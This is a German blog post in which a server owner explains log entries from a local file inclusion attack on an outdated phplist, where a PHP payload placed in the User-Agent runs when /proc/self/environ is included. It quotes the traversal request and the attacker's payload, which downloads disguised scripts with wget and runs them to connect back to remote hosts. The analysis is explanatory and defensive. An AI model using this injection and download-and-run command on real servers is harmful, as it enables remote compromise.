In letzter Zeit hab ich hier massig abgelehnte Seitenaufrufe der Art
GET /phplists/admin/index.php?_SERVER[ConfigFile]=../../../../proc/self/environ
die mich ein bisschen verwundert haben. Irgendwie konnte ich mir gar nicht vorstellen, warum jemand /proc/self/environ ansehen oder in php einbinden möchte. /etc/passwd wäre mir klar gewesen, aber das environment? Das sieht ja in der Regel so aus:
Also nichts besonderes, ein paar interne Servervariablen und ein paar Infos über den Client. Aber das Serverzeug ist nicht interessant, und über den Client weiss ich als sein Besitzer mehr als irgendein angesurfter Webserver. Dabei scheint der Angriff ein alter Hut zu sein und irgendwie finde ich die Idee pfiffig:
Als Einbrecher hat man ja immer das Problem, dass man sein Werkzeug irgendwie auf dem Server deponieren muss, wenn man nicht schon vorher in der Lage ist, dort richtige Befehle auszuführen. Das kann man machen, indem man irgendeine Datei remote einbindet oder indem man eine Datei dort deponiert (ein Profilbild in einem Forum, das in Wirklichkeit ein Script ist oder so). Scheiden diese Möglichkeiten aus, steht man dumm da.
Wenn man nun einen Server findet, der nur lokale Dateien in sein php einbinden möchte, aber dort nicht allzu kritisch ist, was genau er ausführt, bietet "environ" ideale Möglichkeiten: Man kann dort zwar nicht viel ändern, aber der HTTP_USER_AGENT (eigentlich steht da drin, ob ein Besucher den Internet Explorer, Firefox, Opera... nimmt) wird vom Browser übernommen und was php in einer lokalen Datei findet, wird brav ausgeführt.
In meinem Fall sah der USER_AGENT so aus:
<?system('
cd /var/tmp;wget http://96.9.xxx.xxx/cb.jpg;perl cb.jpg 192.167.xxx.xxx 80;
wget http://96.9.xxx.xxx/cback;chmod +x cback;./cback 192.167.xxx.xxx 80;
.....
und mein Server hätte sich zu 96.9.xxx.xxx in den USA verbunden, dort ein perl-script mit dem irreführenden Namen cb.jpg runtergeladen, dieses Script ausgeführt und damit einem Menschen in Rumänien einen Textbrowser auf meinem Server eröffnet, der ihn eine Uni in Italien ansurfen lässt... was auch immer der dort dann will. Nach diesen Zeilen kommen noch 10 weitere Server, man setzt wohl auf Internationalität und Redundanz in diesem Geschäft.
Die ausprobierte Lücke in diesem Fall wäre übrigens eine veraltete Version von phplist gewesen, die anscheinend ihre Config aus einem eingebundenen Script holt, den Namen dieses Scripts per Variable abgelegt hat und sich diese Variable auch von aussen unterjubeln liess. Ich hab allerdings noch massig andere Einträge dieser Art, die vermutlich die ganze Bandbreite verwundbarer php-Anwendungen abdecken.